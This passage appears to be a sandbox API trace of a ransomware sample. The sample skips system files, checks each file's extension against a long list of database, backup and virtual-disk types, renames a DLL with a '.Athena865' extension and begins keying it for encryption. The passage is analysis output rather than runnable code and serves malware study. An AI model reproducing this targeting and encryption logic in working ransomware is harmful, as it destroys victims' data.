lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.131] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0090.131] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0090.131] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0090.131] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.131] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0090.131] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0090.132] CloseHandle (hObject=0x154) returned 1 [0090.132] CloseHandle (hObject=0x17c) returned 1 [0090.132] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0090.132] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0090.132] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0090.133] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd805600, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x5ab6f770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd805600, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x24440, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sqlceer35EN.dll", cAlternateFileName="SQLCEE~1.DLL")) returned 1 [0090.133] lstrcmpiW (lpString1="sqlceer35EN.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0090.133] lstrcmpiW (lpString1="sqlceer35EN.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0090.133] lstrcmpiW (lpString1="sqlceer35EN.dll", lpString2=".") returned 1 [0090.133] lstrcmpiW (lpString1="sqlceer35EN.dll", lpString2="..") returned 1 [0090.133] lstrcmpiW (lpString1="sqlceer35EN.dll", lpString2="windows") returned -1 [0090.133] lstrcmpiW (lpString1="sqlceer35EN.dll", lpString2="bootmgr") returned 1 [0090.133] lstrcmpiW (lpString1="sqlceer35EN.dll", lpString2="temp") returned -1 [0090.133] lstrcmpiW (lpString1="sqlceer35EN.dll", lpString2="pagefile.sys") returned 1 [0090.133] lstrcmpiW (lpString1="sqlceer35EN.dll", lpString2="boot") returned 1 [0090.133] lstrcmpiW (lpString1="sqlceer35EN.dll", lpString2="ids.txt") returned 1 [0090.133] lstrcmpiW (lpString1="sqlceer35EN.dll", lpString2="ntuser.dat") returned 1 [0090.133] lstrcmpiW (lpString1="sqlceer35EN.dll", lpString2="perflogs") returned 1 [0090.133] lstrcmpiW (lpString1="sqlceer35EN.dll", lpString2="MSBuild") returned 1 [0090.133] lstrlenW (lpString="sqlceer35EN.dll") returned 15 [0090.133] lstrcpyW (in: lpString1=0x241e8be, lpString2="sqlceer35EN.dll" | out: lpString1="sqlceer35EN.dll") returned="sqlceer35EN.dll" [0090.133] lstrlenW (lpString="sqlceer35EN.dll") returned 15 [0090.133] lstrlenW (lpString="Athena865") returned 9 [0090.133] lstrcmpiW (lpString1="r35EN.dll", lpString2="Athena865") returned 1 [0090.133] lstrlenW (lpString=".dll") returned 4 [0090.134] lstrcmpiW (lpString1="sqlceer35EN.dll", lpString2=".dll") returned 1 [0090.134] lstrlenW (lpString=".lnk") returned 4 [0090.134] lstrcmpiW (lpString1="sqlceer35EN.dll", lpString2=".lnk") returned 1 [0090.134] lstrlenW (lpString=".ini") returned 4 [0090.134] lstrcmpiW (lpString1="sqlceer35EN.dll", lpString2=".ini") returned 1 [0090.134] lstrlenW (lpString=".sys") returned 4 [0090.134] lstrcmpiW (lpString1="sqlceer35EN.dll", lpString2=".sys") returned 1 [0090.134] lstrlenW (lpString="sqlceer35EN.dll") returned 15 [0090.134] lstrlenW (lpString="bak") returned 3 [0090.134] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0090.134] lstrlenW (lpString="ba_") returned 3 [0090.134] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0090.134] lstrlenW (lpString="dbb") returned 3 [0090.134] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0090.134] lstrlenW (lpString="vmdk") returned 4 [0090.134] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0090.134] lstrlenW (lpString="rar") returned 3 [0090.134] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0090.134] lstrlenW (lpString="zip") returned 3 [0090.134] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0090.134] lstrlenW (lpString="tgz") returned 3 [0090.134] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0090.134] lstrlenW (lpString="vbox") returned 4 [0090.134] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0090.134] lstrlenW (lpString="vdi") returned 3 [0090.134] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0090.134] lstrlenW (lpString="vhd") returned 3 [0090.134] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0090.134] lstrlenW (lpString="vhdx") returned 4 [0090.134] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0090.135] lstrlenW (lpString="avhd") returned 4 [0090.135] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0090.135] lstrlenW (lpString="db") returned 2 [0090.135] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0090.135] lstrlenW (lpString="db2") returned 3 [0090.135] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0090.135] lstrlenW (lpString="db3") returned 3 [0090.135] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0090.135] lstrlenW (lpString="dbf") returned 3 [0090.135] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0090.135] lstrlenW (lpString="mdf") returned 3 [0090.135] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0090.135] lstrlenW (lpString="mdb") returned 3 [0090.135] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0090.135] lstrlenW (lpString="sql") returned 3 [0090.135] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0090.135] lstrlenW (lpString="sqlite") returned 6 [0090.135] lstrcmpiW (lpString1="EN.dll", lpString2="sqlite") returned -1 [0090.135] lstrlenW (lpString="sqlite3") returned 7 [0090.135] lstrcmpiW (lpString1="5EN.dll", lpString2="sqlite3") returned -1 [0090.135] lstrlenW (lpString="sqlitedb") returned 8 [0090.135] lstrcmpiW (lpString1="35EN.dll", lpString2="sqlitedb") returned -1 [0090.135] lstrlenW (lpString="xml") returned 3 [0090.135] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0090.135] lstrlenW (lpString="$er") returned 3 [0090.135] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0090.135] lstrlenW (lpString="4dd") returned 3 [0090.135] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0090.135] lstrlenW (lpString="4dl") returned 3 [0090.135] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0090.135] lstrlenW (lpString="^^^") returned 3 [0090.136] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0090.136] lstrlenW (lpString="abs") returned 3 [0090.136] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0090.136] lstrlenW (lpString="abx") returned 3 [0090.136] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0090.136] lstrlenW (lpString="accdb") returned 5 [0090.136] lstrcmpiW (lpString1="N.dll", lpString2="accdb") returned 1 [0090.136] lstrlenW (lpString="accdc") returned 5 [0090.136] lstrcmpiW (lpString1="N.dll", lpString2="accdc") returned 1 [0090.136] lstrlenW (lpString="accde") returned 5 [0090.136] lstrcmpiW (lpString1="N.dll", lpString2="accde") returned 1 [0090.136] lstrlenW (lpString="accdr") returned 5 [0090.136] lstrcmpiW (lpString1="N.dll", lpString2="accdr") returned 1 [0090.136] lstrlenW (lpString="accdt") returned 5 [0090.136] lstrcmpiW (lpString1="N.dll", lpString2="accdt") returned 1 [0090.136] lstrlenW (lpString="accdw") returned 5 [0090.136] lstrcmpiW (lpString1="N.dll", lpString2="accdw") returned 1 [0090.136] lstrlenW (lpString="accft") returned 5 [0090.136] lstrcmpiW (lpString1="N.dll", lpString2="accft") returned 1 [0090.136] lstrlenW (lpString="adb") returned 3 [0090.136] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0090.136] lstrlenW (lpString="adb") returned 3 [0090.136] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0090.136] lstrlenW (lpString="ade") returned 3 [0090.136] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0090.136] lstrlenW (lpString="adf") returned 3 [0090.136] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0090.136] lstrlenW (lpString="adn") returned 3 [0090.136] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0090.136] lstrlenW (lpString="adp") returned 3 [0090.136] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0090.136] lstrlenW (lpString="alf") returned 3 [0090.137] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0090.137] lstrlenW (lpString="ask") returned 3 [0090.137] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0090.137] lstrlenW (lpString="btr") returned 3 [0090.137] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0090.137] lstrlenW (lpString="cat") returned 3 [0090.137] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0090.137] lstrlenW (lpString="cdb") returned 3 [0090.137] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0090.137] lstrlenW (lpString="ckp") returned 3 [0090.137] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0090.137] lstrlenW (lpString="cma") returned 3 [0090.137] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0090.137] lstrlenW (lpString="cpd") returned 3 [0090.137] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0090.137] lstrlenW (lpString="dacpac") returned 6 [0090.137] lstrcmpiW (lpString1="EN.dll", lpString2="dacpac") returned 1 [0090.137] lstrlenW (lpString="dad") returned 3 [0090.137] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0090.137] lstrlenW (lpString="dadiagrams") returned 10 [0090.137] lstrcmpiW (lpString1="er35EN.dll", lpString2="dadiagrams") returned 1 [0090.137] lstrlenW (lpString="daschema") returned 8 [0090.137] lstrcmpiW (lpString1="35EN.dll", lpString2="daschema") returned -1 [0090.137] lstrlenW (lpString="db-journal") returned 10 [0090.137] lstrcmpiW (lpString1="er35EN.dll", lpString2="db-journal") returned 1 [0090.137] lstrlenW (lpString="db-shm") returned 6 [0090.137] lstrcmpiW (lpString1="EN.dll", lpString2="db-shm") returned 1 [0090.137] lstrlenW (lpString="db-wal") returned 6 [0090.137] lstrcmpiW (lpString1="EN.dll", lpString2="db-wal") returned 1 [0090.137] lstrlenW (lpString="dbc") returned 3 [0090.137] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0090.137] lstrlenW (lpString="dbs") returned 3 [0090.137] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0090.138] lstrlenW (lpString="dbt") returned 3 [0090.138] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0090.138] lstrlenW (lpString="dbv") returned 3 [0090.138] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0090.138] lstrlenW (lpString="dbx") returned 3 [0090.138] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0090.138] lstrlenW (lpString="dcb") returned 3 [0090.138] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0090.138] lstrlenW (lpString="dct") returned 3 [0090.138] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0090.138] lstrlenW (lpString="dcx") returned 3 [0090.138] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0090.138] lstrlenW (lpString="ddl") returned 3 [0090.138] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0090.138] lstrlenW (lpString="dlis") returned 4 [0090.138] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0090.138] lstrlenW (lpString="dp1") returned 3 [0090.138] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0090.138] lstrlenW (lpString="dqy") returned 3 [0090.138] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0090.138] lstrlenW (lpString="dsk") returned 3 [0090.138] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0090.138] lstrlenW (lpString="dsn") returned 3 [0090.138] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0090.138] lstrlenW (lpString="dtsx") returned 4 [0090.138] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0090.138] lstrlenW (lpString="dxl") returned 3 [0090.138] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0090.138] lstrlenW (lpString="eco") returned 3 [0090.138] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0090.138] lstrlenW (lpString="ecx") returned 3 [0090.139] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0090.139] lstrlenW (lpString="edb") returned 3 [0090.139] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0090.139] lstrlenW (lpString="epim") returned 4 [0090.139] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0090.139] lstrlenW (lpString="fcd") returned 3 [0090.139] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0090.139] lstrlenW (lpString="fdb") returned 3 [0090.139] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0090.139] lstrlenW (lpString="fic") returned 3 [0090.139] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0090.139] lstrlenW (lpString="flexolibrary") returned 12 [0090.139] lstrcmpiW (lpString1="ceer35EN.dll", lpString2="flexolibrary") returned -1 [0090.139] lstrlenW (lpString="fm5") returned 3 [0090.139] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0090.139] lstrlenW (lpString="fmp") returned 3 [0090.139] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0090.139] lstrlenW (lpString="fmp12") returned 5 [0090.139] lstrcmpiW (lpString1="N.dll", lpString2="fmp12") returned 1 [0090.139] lstrlenW (lpString="fmpsl") returned 5 [0090.139] lstrcmpiW (lpString1="N.dll", lpString2="fmpsl") returned 1 [0090.139] lstrlenW (lpString="fol") returned 3 [0090.139] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0090.139] lstrlenW (lpString="fp3") returned 3 [0090.139] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0090.139] lstrlenW (lpString="fp4") returned 3 [0090.139] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0090.139] lstrlenW (lpString="fp5") returned 3 [0090.139] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0090.139] lstrlenW (lpString="fp7") returned 3 [0090.139] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0090.140] lstrlenW (lpString="fpt") returned 3 [0090.140] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0090.140] lstrlenW (lpString="frm") returned 3 [0090.140] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0090.140] lstrlenW (lpString="gdb") returned 3 [0090.140] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0090.140] lstrlenW (lpString="gdb") returned 3 [0090.140] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0090.140] lstrlenW (lpString="grdb") returned 4 [0090.140] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0090.140] lstrlenW (lpString="gwi") returned 3 [0090.140] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0090.140] lstrlenW (lpString="hdb") returned 3 [0090.140] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0090.140] lstrlenW (lpString="his") returned 3 [0090.140] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0090.140] lstrlenW (lpString="ib") returned 2 [0090.140] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0090.140] lstrlenW (lpString="idb") returned 3 [0090.140] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0090.140] lstrlenW (lpString="ihx") returned 3 [0090.140] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0090.140] lstrlenW (lpString="itdb") returned 4 [0090.140] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0090.140] lstrlenW (lpString="itw") returned 3 [0090.140] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0090.140] lstrlenW (lpString="jet") returned 3 [0090.140] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0090.140] lstrlenW (lpString="jtx") returned 3 [0090.140] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0090.140] lstrlenW (lpString="kdb") returned 3 [0090.140] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0090.141] lstrlenW (lpString="kexi") returned 4 [0090.141] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0090.141] lstrlenW (lpString="kexic") returned 5 [0090.141] lstrcmpiW (lpString1="N.dll", lpString2="kexic") returned 1 [0090.141] lstrlenW (lpString="kexis") returned 5 [0090.141] lstrcmpiW (lpString1="N.dll", lpString2="kexis") returned 1 [0090.141] lstrlenW (lpString="lgc") returned 3 [0090.141] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0090.141] lstrlenW (lpString="lwx") returned 3 [0090.141] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0090.141] lstrlenW (lpString="maf") returned 3 [0090.141] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0090.141] lstrlenW (lpString="maq") returned 3 [0090.141] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0090.141] lstrlenW (lpString="mar") returned 3 [0090.141] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0090.141] lstrlenW (lpString="marshal") returned 7 [0090.141] lstrcmpiW (lpString1="5EN.dll", lpString2="marshal") returned -1 [0090.141] lstrlenW (lpString="mas") returned 3 [0090.141] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0090.141] lstrlenW (lpString="mav") returned 3 [0090.141] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0090.141] lstrlenW (lpString="maw") returned 3 [0090.141] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0090.141] lstrlenW (lpString="mdbhtml") returned 7 [0090.141] lstrcmpiW (lpString1="5EN.dll", lpString2="mdbhtml") returned -1 [0090.141] lstrlenW (lpString="mdn") returned 3 [0090.141] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0090.141] lstrlenW (lpString="mdt") returned 3 [0090.141] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0090.141] lstrlenW (lpString="mfd") returned 3 [0090.141] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0090.142] lstrlenW (lpString="mpd") returned 3 [0090.142] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0090.142] lstrlenW (lpString="mrg") returned 3 [0090.142] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0090.142] lstrlenW (lpString="mud") returned 3 [0090.142] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0090.142] lstrlenW (lpString="mwb") returned 3 [0090.142] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0090.142] lstrlenW (lpString="myd") returned 3 [0090.142] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0090.142] lstrlenW (lpString="ndf") returned 3 [0090.142] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0090.142] lstrlenW (lpString="nnt") returned 3 [0090.142] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0090.142] lstrlenW (lpString="nrmlib") returned 6 [0090.142] lstrcmpiW (lpString1="EN.dll", lpString2="nrmlib") returned -1 [0090.142] lstrlenW (lpString="ns2") returned 3 [0090.142] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0090.142] lstrlenW (lpString="ns3") returned 3 [0090.142] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0090.142] lstrlenW (lpString="ns4") returned 3 [0090.142] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0090.142] lstrlenW (lpString="nsf") returned 3 [0090.142] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0090.142] lstrlenW (lpString="nv") returned 2 [0090.142] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0090.142] lstrlenW (lpString="nv2") returned 3 [0090.142] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0090.142] lstrlenW (lpString="nwdb") returned 4 [0090.142] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0090.142] lstrlenW (lpString="nyf") returned 3 [0090.142] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0090.143] lstrlenW (lpString="odb") returned 3 [0090.143] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0090.143] lstrlenW (lpString="odb") returned 3 [0090.143] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0090.143] lstrlenW (lpString="oqy") returned 3 [0090.143] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0090.143] lstrlenW (lpString="ora") returned 3 [0090.143] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0090.143] lstrlenW (lpString="orx") returned 3 [0090.143] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0090.143] lstrlenW (lpString="owc") returned 3 [0090.143] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0090.143] lstrlenW (lpString="p96") returned 3 [0090.143] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0090.143] lstrlenW (lpString="p97") returned 3 [0090.143] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0090.143] lstrlenW (lpString="pan") returned 3 [0090.143] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0090.143] lstrlenW (lpString="pdb") returned 3 [0090.143] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0090.143] lstrlenW (lpString="pdm") returned 3 [0090.143] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0090.143] lstrlenW (lpString="pnz") returned 3 [0090.143] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0090.143] lstrlenW (lpString="qry") returned 3 [0090.143] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0090.143] lstrlenW (lpString="qvd") returned 3 [0090.143] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0090.143] lstrlenW (lpString="rbf") returned 3 [0090.143] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0090.143] lstrlenW (lpString="rctd") returned 4 [0090.144] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0090.144] lstrlenW (lpString="rod") returned 3 [0090.144] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0090.144] lstrlenW (lpString="rodx") returned 4 [0090.144] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0090.144] lstrlenW (lpString="rpd") returned 3 [0090.144] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0090.144] lstrlenW (lpString="rsd") returned 3 [0090.144] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0090.144] lstrlenW (lpString="sas7bdat") returned 8 [0090.144] lstrcmpiW (lpString1="35EN.dll", lpString2="sas7bdat") returned -1 [0090.144] lstrlenW (lpString="sbf") returned 3 [0090.144] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0090.144] lstrlenW (lpString="scx") returned 3 [0090.144] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0090.144] lstrlenW (lpString="sdb") returned 3 [0090.144] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0090.144] lstrlenW (lpString="sdc") returned 3 [0090.144] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0090.144] lstrlenW (lpString="sdf") returned 3 [0090.144] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0090.144] lstrlenW (lpString="sis") returned 3 [0090.144] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0090.144] lstrlenW (lpString="spq") returned 3 [0090.144] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0090.144] lstrlenW (lpString="te") returned 2 [0090.144] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0090.144] lstrlenW (lpString="teacher") returned 7 [0090.144] lstrcmpiW (lpString1="5EN.dll", lpString2="teacher") returned -1 [0090.144] lstrlenW (lpString="tmd") returned 3 [0090.144] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0090.144] lstrlenW (lpString="tps") returned 3 [0090.145] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0090.145] lstrlenW (lpString="trc") returned 3 [0090.145] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0090.145] lstrlenW (lpString="trc") returned 3 [0090.145] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0090.145] lstrlenW (lpString="trm") returned 3 [0090.145] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0090.145] lstrlenW (lpString="udb") returned 3 [0090.145] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0090.145] lstrlenW (lpString="udl") returned 3 [0090.145] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0090.145] lstrlenW (lpString="usr") returned 3 [0090.145] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0090.145] lstrlenW (lpString="v12") returned 3 [0090.145] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0090.145] lstrlenW (lpString="vis") returned 3 [0090.145] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0090.145] lstrlenW (lpString="vpd") returned 3 [0090.145] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0090.145] lstrlenW (lpString="vvv") returned 3 [0090.145] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0090.145] lstrlenW (lpString="wdb") returned 3 [0090.145] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0090.145] lstrlenW (lpString="wmdb") returned 4 [0090.145] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0090.145] lstrlenW (lpString="wrk") returned 3 [0090.145] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0090.145] lstrlenW (lpString="xdb") returned 3 [0090.145] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0090.145] lstrlenW (lpString="xld") returned 3 [0090.145] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0090.145] lstrlenW (lpString="xmlff") returned 5 [0090.145] lstrcmpiW (lpString1="N.dll", lpString2="xmlff") returned -1 [0090.146] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\sqlceer35EN.dll.Athena865") returned 84 [0090.146] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\sqlceer35EN.dll" (normalized: "c:\\program files\\microsoft sql server compact edition\\v3.5\\sqlceer35en.dll"), lpNewFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\sqlceer35EN.dll.Athena865" (normalized: "c:\\program files\\microsoft sql server compact edition\\v3.5\\sqlceer35en.dll.athena865"), dwFlags=0x1) returned 1 [0090.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\sqlceer35EN.dll.Athena865" (normalized: "c:\\program files\\microsoft sql server compact edition\\v3.5\\sqlceer35en.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0090.156] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=148544) returned 1 [0090.156] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0090.157] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0090.157] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0090.157] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0090.157] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0090.157] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0090.158] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x24740, lpName=0x0) returned 0x154 [0090.159] MapViewOfFile 